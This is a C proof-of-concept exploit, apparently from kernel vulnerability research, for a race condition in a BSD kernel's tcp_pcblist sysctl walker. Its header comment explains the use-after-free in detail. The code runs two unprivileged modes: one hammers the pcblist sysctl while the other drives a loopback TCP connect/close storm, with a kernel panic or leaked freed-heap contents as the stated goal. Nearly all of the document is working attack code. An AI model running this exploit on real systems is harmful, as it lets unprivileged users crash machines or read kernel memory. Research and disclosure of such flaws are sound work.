DF-3316 / tcp_pcb_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 | /* * DF-3316 PoC -- tcp_pcblist() marker-dance race (DF-3315 twin with * FULLY UNPRIVILEGED churn). * * BUG (sys/netinet/tcp_subr.c:1261-1307): * The sysctl walker (a USER thread migrated per-cpu via * lwkt_migratecpu at 1265) advances its list marker with the same * two-step, non-atomic dance as in_pcblist_range: * inp = LIST_NEXT(marker, inp_list); (1271) * LIST_REMOVE(marker, inp_list); (1276) * LIST_INSERT_AFTER(inp, marker, inp_list);(1277) * For tcp_pcblist GET_PCBINFO_TOKEN() is not even attempted -- the * comment says it "depend[s] on being on the correct cpu to avoid * races" -- which is only sound for code running inside the netisr, * not for a preemptible user thread parked on it. The mutator * (tcp_close -> in_pcbdetach -> in_pcbremlists LIST_REMOVE + * kfree(inp), in_pcb.c:265/1217-1225) runs in the owning netisr, * driven here by an UNPRIVILEGED TCP connect/close storm on lo0 * (every close tears an inpcb out of tcbinfo[cpu].pcblisthead). * * If a teardown preempts the walker inside the advance window and * removes+frees `inp`, LIST_INSERT_AFTER writes the marker pointer * INTO FREED M_PCB memory and the walk continues through a stale * chain; subsequent inp->inp_flags / prison_xinpcb / bcopy(inp,...) * / sotoxsocket operate on freed (possibly recycled) memory. * * MODES (both unprivileged): * -r seconds reader : hammer `sysctl net.inet.tcp.pcblist`. * -c seconds nconn churn : TCP connect/close storm against a * private lo0 listener (inpcb create/tear). * * SUCCESS CRITERION: kernel panic (marker/list corruption, KASSERT in * in_pcbremlists, wild deref) or recycled-heap garbage in dumped * xtcpcb records. A clean exit means the nanosecond window was not * hit in this run (see DF-3315 for the empirical scheduler analysis). */ #include <sys/param.h> #include <sys/sysctl.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <fcntl.h> static volatile sig_atomic_t stop; static void onsig(int sig __unused) { stop = 1; } static double now(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (ts.tv_sec + ts.tv_nsec / 1e9); } static void reader(int seconds, int verbose) { int mib[4]; size_t miblen = 4; void *buf = NULL; size_t cap = 0; unsigned long dumps = 0, errs = 0, bytes = 0; double t0 = now(), t; if (sysctlnametomib("net.inet.tcp.pcblist", mib, &miblen) < 0) { perror("sysctlnametomib(net.inet.tcp.pcblist)"); exit(1); } while (!stop && (t = now()) - t0 < seconds) { size_t need, len; int error; /* sizing pass: oldptr == NULL */ need = 0; error = sysctl(mib, miblen, NULL, &need, NULL, 0); if (error) continue; if (need > cap) { free(buf); cap = need + need / 2 + 4096; buf = malloc(cap); if (buf == NULL) { perror("malloc"); exit(1); } } len = cap; error = sysctl(mib, miblen, buf, &len, NULL, 0); if (error) { errs++; /* ENOMEM when the list grew past our buffer */ continue; } dumps++; bytes += len; if (verbose && (dumps % 20000) == 0) fprintf(stderr, "reader: %lu dumps (%lu bytes)\n", dumps, bytes); } printf("reader: %lu dumps, %lu errors, %lu bytes in %.1fs " "(%.0f dumps/s)\n", dumps, errs, bytes, now() - t0, dumps / (now() - t0)); } static void churn(int seconds, int nconn) { struct sockaddr_in la; int lst, *fds, i; unsigned long cycles = 0, fails = 0; double t0 = now(); lst = socket(AF_INET, SOCK_STREAM, 0); if (lst < 0) { perror("socket(lst)"); exit(1); } i = 1; setsockopt(lst, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)); memset(&la, 0, sizeof(la)); la.sin_family = AF_INET; la.sin_len = sizeof(la); la.sin_addr.s_addr = htonl(INADDR_LOOPBACK); la.sin_port = 0; /* ephemeral */ if (bind(lst, (struct sockaddr *)&la, sizeof(la)) < 0) { perror("bind"); exit(1); } if (listen(lst, 1024) < 0) { perror("listen"); exit(1); } { struct sockaddr_in me; socklen_t ml = sizeof(me); getsockname(lst, (struct sockaddr *)&me, &ml); la = me; /* listener's concrete address */ printf("churn: listener on 127.0.0.1:%d\n", ntohs(me.sin_port)); } fds = malloc(nconn * sizeof(int)); if (fds == NULL) { perror("malloc"); exit(1); } for (i = 0; i < nconn; i++) fds[i] = -1; /* nonblocking listener so accept() can drain without blocking */ i = fcntl(lst, F_GETFL, 0); fcntl(lst, F_SETFL, i | O_NONBLOCK); /* Each iteration drains pending completions (each accept+close is * itself an inpcb teardown in netisr), then closes/reconnects one * client connection. Every close synchronously tears an inpcb out * of tcbinfo[cpu].pcblisthead in the owning netisr (tcp_close -> * in_pcbdetach -> LIST_REMOVE + kfree). */ i = 0; while (!stop && now() - t0 < seconds) { int c; while ((c = accept(lst, NULL, NULL)) >= 0) { close(c); /* server-side teardown */ cycles++; } if (fds[i] >= 0) { /* established: close it (client-side teardown) */ close(fds[i]); fds[i] = -1; cycles++; } else { fds[i] = socket(AF_INET, SOCK_STREAM, 0); if (fds[i] >= 0 && connect(fds[i], (struct sockaddr *)&la, sizeof(la)) < 0) { close(fds[i]); fds[i] = -1; fails++; } } i = (i + 1) % nconn; } printf("churn: %lu close cycles (%.0f/s), %lu fails\n", cycles, cycles / (now() - t0), fails); for (i = 0; i < nconn; i++) if (fds[i] >= 0) close(fds[i]); close(lst); } static void usage(void) { fprintf(stderr, "usage: tcp_pcb_race -r seconds [-v]\n" " tcp_pcb_race -c seconds nconn\n"); exit(2); } int main(int argc, char **argv) { int ch, seconds = 60, nconn = 32, verbose = 0; void (*mode)(int, int) = NULL; while ((ch = getopt(argc, argv, "r:c:v")) != -1) { switch (ch) { case 'r': mode = reader; verbose = 0; seconds = atoi(optarg); nconn = 0; break; case 'c': mode = churn; seconds = atoi(optarg); nconn = (optind < argc) ? atoi(argv[optind]) : 32; break; case 'v': verbose = 1; break; default: usage(); } } if (mode == NULL) usage(); signal(SIGINT, onsig); signal(SIGTERM, onsig); mode(seconds, nconn ? nconn : verbose); return (0); } |